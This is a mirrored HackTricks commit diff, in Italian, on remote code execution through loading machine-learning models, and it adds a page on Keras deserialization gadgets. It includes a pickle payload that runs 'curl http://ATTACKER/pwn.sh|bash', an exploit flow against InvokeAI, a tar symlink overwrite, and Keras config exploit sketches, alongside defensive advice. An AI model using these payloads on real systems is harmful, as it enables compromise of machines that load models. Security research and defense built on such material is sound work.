mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/README.md',
This commit is contained in:
parent
1b27703fbf
commit
619be7ab0d
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Caricamento modelli per RCE
|
||||
## Caricamento modelli in RCE
|
||||
|
||||
I modelli di Machine Learning sono solitamente condivisi in diversi formati, come ONNX, TensorFlow, PyTorch, ecc. Questi modelli possono essere caricati nelle macchine degli sviluppatori o nei sistemi di produzione per essere utilizzati. Di solito, i modelli non dovrebbero contenere codice malevolo, ma ci sono alcuni casi in cui il modello può essere utilizzato per eseguire codice arbitrario sul sistema come funzionalità prevista o a causa di una vulnerabilità nella libreria di caricamento del modello.
|
||||
|
||||
@ -12,16 +12,16 @@ Al momento della scrittura, questi sono alcuni esempi di questo tipo di vulnerab
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------|
|
||||
| **PyTorch** (Python) | *Deserializzazione insicura in* `torch.load` **(CVE-2025-32434)** | Pickle malevolo nel checkpoint del modello porta all'esecuzione di codice (bypassando la protezione `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + download di modello malevolo causa esecuzione di codice; deserializzazione RCE in API di gestione | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sicuro) <br> **CVE-2024-3660** (Keras Lambda) | Caricamento del modello da YAML utilizza `yaml.unsafe_load` (esecuzione di codice) <br> Caricamento del modello con **Lambda** layer esegue codice Python arbitrario | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sicuro) <br> **CVE-2024-3660** (Keras Lambda) | Caricamento del modello da YAML utilizza `yaml.unsafe_load` (esecuzione di codice) <br> Caricamento del modello con layer **Lambda** esegue codice Python arbitrario | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (analisi TFLite) | Modello `.tflite` creato provoca overflow intero → corruzione dell'heap (potenziale RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Caricamento di un modello tramite `joblib.load` esegue pickle con il payload `__reduce__` dell'attaccante | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *contestato* | `numpy.load` di default consentiva array di oggetti pickle – `.npy/.npz` malevoli provocano esecuzione di codice | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversal di directory) <br> **CVE-2024-5187** (traversal tar) | Il percorso dei pesi esterni del modello ONNX può uscire dalla directory (leggere file arbitrari) <br> Modello ONNX malevolo tar può sovrascrivere file arbitrari (portando a RCE) | |
|
||||
| ONNX Runtime (rischio di design) | *(Nessun CVE)* operazioni personalizzate ONNX / flusso di controllo | Modello con operatore personalizzato richiede il caricamento del codice nativo dell'attaccante; grafi di modello complessi abusano della logica per eseguire calcoli non intenzionati | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *contestato* | `numpy.load` per impostazione predefinita consentiva array di oggetti pickle – `.npy/.npz` malevoli provocano esecuzione di codice | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversal di directory) <br> **CVE-2024-5187** (traversal tar) | Il percorso dei pesi esterni del modello ONNX può uscire dalla directory (lettura di file arbitrari) <br> Modello ONNX malevolo tar può sovrascrivere file arbitrari (portando a RCE) | |
|
||||
| ONNX Runtime (rischio di design) | *(Nessun CVE)* operazioni personalizzate ONNX / flusso di controllo | Modello con operatore personalizzato richiede il caricamento del codice nativo dell'attaccante; grafi di modello complessi abusano della logica per eseguire calcoli non intenzionati | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversal di percorso) | Utilizzando l'API di caricamento del modello con `--model-control` abilitato consente la traversata di percorso relativo per scrivere file (ad es., sovrascrivere `.bashrc` per RCE) | |
|
||||
| **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (molti overflow dell'heap) | File modello GGUF malformato provoca overflow del buffer dell'heap nel parser, abilitando l'esecuzione di codice arbitrario sul sistema vittima | |
|
||||
| **Keras (formati più vecchi)** | *(Nessun nuovo CVE)* Modello Keras H5 legacy | Modello HDF5 (`.h5`) malevolo con codice Lambda layer continua a eseguire al caricamento (Keras safe_mode non copre il vecchio formato – “attacco di downgrade”) | |
|
||||
| **Altri** (generale) | *Difetto di design* – Serializzazione Pickle | Molti strumenti ML (ad es., formati di modello basati su pickle, `pickle.load` di Python) eseguiranno codice arbitrario incorporato nei file modello a meno che non venga mitigato | |
|
||||
| **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (molti overflow dell'heap) | File di modello GGUF malformato provoca overflow del buffer dell'heap nel parser, abilitando l'esecuzione di codice arbitrario sul sistema vittima | |
|
||||
| **Keras (formati più vecchi)** | *(Nessun nuovo CVE)* Modello Keras H5 legacy | Modello HDF5 (`.h5`) malevolo con codice Lambda layer continua a eseguire al caricamento (Keras safe_mode non copre il formato vecchio – “attacco di downgrade”) | |
|
||||
| **Altri** (generale) | *Difetto di design* – Serializzazione Pickle | Molti strumenti ML (ad es., formati di modello basati su pickle, `pickle.load` di Python) eseguiranno codice arbitrario incorporato nei file di modello a meno che non venga mitigato | |
|
||||
|
||||
Inoltre, ci sono alcuni modelli basati su pickle di Python, come quelli utilizzati da [PyTorch](https://github.com/pytorch/pytorch/security), che possono essere utilizzati per eseguire codice arbitrario sul sistema se non vengono caricati con `weights_only=True`. Quindi, qualsiasi modello basato su pickle potrebbe essere particolarmente suscettibile a questo tipo di attacchi, anche se non è elencato nella tabella sopra.
|
||||
|
||||
@ -29,7 +29,7 @@ Inoltre, ci sono alcuni modelli basati su pickle di Python, come quelli utilizza
|
||||
|
||||
`InvokeAI` è una popolare interfaccia web open-source per Stable-Diffusion. Le versioni **5.3.1 – 5.4.2** espongono l'endpoint REST `/api/v2/models/install` che consente agli utenti di scaricare e caricare modelli da URL arbitrari.
|
||||
|
||||
Internamente, l'endpoint alla fine chiama:
|
||||
Internamente, l'endpoint chiama eventualmente:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
@ -51,7 +51,7 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
|
||||
with open("payload.ckpt", "wb") as f:
|
||||
pickle.dump(Payload(), f)
|
||||
```
|
||||
2. Ospita `payload.ckpt` su un server HTTP che controlli (ad esempio `http://ATTACKER/payload.ckpt`).
|
||||
2. Ospita `payload.ckpt` su un server HTTP che controlli (ad es. `http://ATTACKER/payload.ckpt`).
|
||||
3. Attiva l'endpoint vulnerabile (nessuna autenticazione richiesta):
|
||||
```python
|
||||
import requests
|
||||
@ -161,11 +161,19 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
### Approfondimento: deserializzazione .keras di Keras e ricerca gadget
|
||||
|
||||
Per una guida focalizzata sugli interni di .keras, RCE di Lambda-layer, il problema di importazione arbitraria in ≤ 3.8 e la scoperta di gadget post-fix all'interno della lista di autorizzazione, vedere:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [OffSec blog – "CVE-2024-12029 – Deserializzazione di dati non attendibili in InvokeAI"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [Commit di patch InvokeAI 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Documentazione del modulo Metasploit di Rapid7](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – considerazioni sulla sicurezza per torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -69,6 +69,7 @@
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||
- [venv](generic-methodologies-and-resources/python/venv.md)
|
||||
|
@ -6,6 +6,7 @@
|
||||
|
||||
- [**Trucchi di hacking Pyscript**](pyscript.md)
|
||||
- [**Deserializzazioni Python**](../../pentesting-web/deserialization/README.md)
|
||||
- [**Deserializzazione RCE del modello Keras e ricerca gadget**](keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [**Trucchi per bypassare le sandbox Python**](bypass-python-sandboxes/README.md)
|
||||
- [**Sintassi di base delle richieste web in Python**](web-requests.md)
|
||||
- [**Sintassi e librerie di base di Python**](basic-python.md)
|
||||
|
@ -0,0 +1,207 @@
|
||||
# Keras Model Deserialization RCE and Gadget Hunting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Questa pagina riassume le tecniche di sfruttamento pratico contro il pipeline di deserializzazione del modello Keras, spiega gli interni del formato .keras e la superficie di attacco, e fornisce un toolkit per i ricercatori per trovare Vulnerabilità dei File Modello (MFV) e gadget post-fix.
|
||||
|
||||
## Interni del formato modello .keras
|
||||
|
||||
Un file .keras è un archivio ZIP che contiene almeno:
|
||||
- metadata.json – informazioni generiche (ad es., versione Keras)
|
||||
- config.json – architettura del modello (superficie di attacco principale)
|
||||
- model.weights.h5 – pesi in HDF5
|
||||
|
||||
Il config.json guida la deserializzazione ricorsiva: Keras importa moduli, risolve classi/funzioni e ricostruisce strati/oggetti da dizionari controllati dall'attaccante.
|
||||
|
||||
Esempio di frammento per un oggetto di strato Dense:
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Dense",
|
||||
"config": {
|
||||
"units": 64,
|
||||
"activation": {
|
||||
"module": "keras.activations",
|
||||
"class_name": "relu"
|
||||
},
|
||||
"kernel_initializer": {
|
||||
"module": "keras.initializers",
|
||||
"class_name": "GlorotUniform"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Deserialization esegue:
|
||||
- Importazione di moduli e risoluzione di simboli dalle chiavi module/class_name
|
||||
- invocazione di from_config(...) o del costruttore con kwargs controllati dall'attaccante
|
||||
- Ricorsione in oggetti annidati (attivazioni, inizializzatori, vincoli, ecc.)
|
||||
|
||||
Storicamente, questo ha esposto tre primitive a un attaccante che crea config.json:
|
||||
- Controllo di quali moduli vengono importati
|
||||
- Controllo di quali classi/funzioni vengono risolte
|
||||
- Controllo di kwargs passati ai costruttori/from_config
|
||||
|
||||
## CVE-2024-3660 – RCE bytecode Lambda-layer
|
||||
|
||||
Causa principale:
|
||||
- Lambda.from_config() utilizzava python_utils.func_load(...) che decodifica in base64 e chiama marshal.loads() sui byte dell'attaccante; la deserializzazione di Python può eseguire codice.
|
||||
|
||||
Idea di exploit (payload semplificato in config.json):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "exploit_lambda",
|
||||
"function": {
|
||||
"function_type": "lambda",
|
||||
"bytecode_b64": "<attacker_base64_marshal_payload>"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Mitigazione:
|
||||
- Keras imposta safe_mode=True per impostazione predefinita. Le funzioni Python serializzate in Lambda sono bloccate a meno che un utente non scelga esplicitamente di disattivare con safe_mode=False.
|
||||
|
||||
Note:
|
||||
- I formati legacy (salvataggi HDF5 più vecchi) o le codebase più vecchie potrebbero non applicare controlli moderni, quindi gli attacchi in stile "downgrade" possono ancora applicarsi quando le vittime utilizzano loader più vecchi.
|
||||
|
||||
## CVE-2025-1550 – Importazione di moduli arbitrari in Keras ≤ 3.8
|
||||
|
||||
Causa principale:
|
||||
- _retrieve_class_or_fn utilizzava importlib.import_module() senza restrizioni con stringhe di moduli controllate dall'attaccante da config.json.
|
||||
- Impatto: Importazione arbitraria di qualsiasi modulo installato (o modulo piantato dall'attaccante su sys.path). Il codice viene eseguito al momento dell'importazione, quindi si verifica la costruzione dell'oggetto con kwargs dell'attaccante.
|
||||
|
||||
Idea di sfruttamento:
|
||||
```json
|
||||
{
|
||||
"module": "maliciouspkg",
|
||||
"class_name": "Danger",
|
||||
"config": {"arg": "val"}
|
||||
}
|
||||
```
|
||||
Miglioramenti della sicurezza (Keras ≥ 3.9):
|
||||
- Elenco di moduli consentiti: importazioni limitate ai moduli ufficiali dell'ecosistema: keras, keras_hub, keras_cv, keras_nlp
|
||||
- Modalità sicura predefinita: safe_mode=True blocca il caricamento di funzioni serializzate Lambda non sicure
|
||||
- Controllo dei tipi di base: gli oggetti deserializzati devono corrispondere ai tipi attesi
|
||||
|
||||
## Superficie gadget post-fix all'interno dell'elenco consentito
|
||||
|
||||
Anche con l'elenco consentito e la modalità sicura, rimane una superficie ampia tra le chiamate Keras consentite. Ad esempio, keras.utils.get_file può scaricare URL arbitrari in posizioni selezionabili dall'utente.
|
||||
|
||||
Gadget tramite Lambda che fa riferimento a una funzione consentita (non bytecode Python serializzato):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "dl",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {
|
||||
"fname": "artifact.bin",
|
||||
"origin": "https://example.com/artifact.bin",
|
||||
"cache_dir": "/tmp/keras-cache"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Importante limitazione:
|
||||
- Lambda.call() aggiunge il tensore di input come primo argomento posizionale quando invoca il callable target. I gadget scelti devono tollerare un argomento posizionale extra (o accettare *args/**kwargs). Questo limita quali funzioni sono valide.
|
||||
|
||||
Impatti potenziali dei gadget autorizzati:
|
||||
- Download/scrittura arbitraria (piantagione di percorsi, avvelenamento della configurazione)
|
||||
- Callback di rete/effetti simili a SSRF a seconda dell'ambiente
|
||||
- Collegamento all'esecuzione del codice se i percorsi scritti vengono successivamente importati/eseguiti o aggiunti a PYTHONPATH, o se esiste una posizione di esecuzione scrivibile
|
||||
|
||||
## Toolkit del ricercatore
|
||||
|
||||
1) Scoperta sistematica di gadget nei moduli consentiti
|
||||
|
||||
Enumerare i callable candidati tra keras, keras_nlp, keras_cv, keras_hub e dare priorità a quelli con effetti collaterali su file/rete/processo/ambiente.
|
||||
```python
|
||||
import importlib, inspect, pkgutil
|
||||
|
||||
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
|
||||
|
||||
seen = set()
|
||||
|
||||
def iter_modules(mod):
|
||||
if not hasattr(mod, "__path__"):
|
||||
return
|
||||
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
|
||||
yield m.name
|
||||
|
||||
candidates = []
|
||||
for root in ALLOWLIST:
|
||||
try:
|
||||
r = importlib.import_module(root)
|
||||
except Exception:
|
||||
continue
|
||||
for name in iter_modules(r):
|
||||
if name in seen:
|
||||
continue
|
||||
seen.add(name)
|
||||
try:
|
||||
m = importlib.import_module(name)
|
||||
except Exception:
|
||||
continue
|
||||
for n, obj in inspect.getmembers(m):
|
||||
if inspect.isfunction(obj) or inspect.isclass(obj):
|
||||
sig = None
|
||||
try:
|
||||
sig = str(inspect.signature(obj))
|
||||
except Exception:
|
||||
pass
|
||||
doc = (inspect.getdoc(obj) or "").lower()
|
||||
text = f"{name}.{n} {sig} :: {doc}"
|
||||
# Heuristics: look for I/O or network-ish hints
|
||||
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
|
||||
candidates.append(text)
|
||||
|
||||
print("\n".join(sorted(candidates)[:200]))
|
||||
```
|
||||
2) Test di deserializzazione diretta (nessun archivio .keras necessario)
|
||||
|
||||
Fornire dizionari creati direttamente ai deserializzatori Keras per apprendere i parametri accettati e osservare gli effetti collaterali.
|
||||
```python
|
||||
from keras import layers
|
||||
|
||||
cfg = {
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "probe",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {"fname": "x", "origin": "https://example.com/x"}
|
||||
}
|
||||
}
|
||||
|
||||
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
|
||||
```
|
||||
3) Probing e formati tra versioni
|
||||
|
||||
Keras esiste in più codebase/epoche con diverse protezioni e formati:
|
||||
- Keras integrato in TensorFlow: tensorflow/python/keras (legacy, previsto per la cancellazione)
|
||||
- tf-keras: mantenuto separatamente
|
||||
- Keras 3 multi-backend (ufficiale): introdotto il .keras nativo
|
||||
|
||||
Ripeti i test tra codebase e formati (.keras vs legacy HDF5) per scoprire regressioni o protezioni mancanti.
|
||||
|
||||
## Raccomandazioni difensive
|
||||
|
||||
- Tratta i file modello come input non attendibili. Carica modelli solo da fonti fidate.
|
||||
- Tieni Keras aggiornato; usa Keras ≥ 3.9 per beneficiare di allowlisting e controlli di tipo.
|
||||
- Non impostare safe_mode=False quando carichi modelli a meno che non ti fidi completamente del file.
|
||||
- Considera di eseguire la deserializzazione in un ambiente sandboxed, con privilegi minimi, senza uscita di rete e con accesso al filesystem ristretto.
|
||||
- Applica allowlists/firme per le fonti dei modelli e controlli di integrità dove possibile.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
|
||||
- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
|
||||
- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
|
||||
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
|
||||
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
|
||||
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user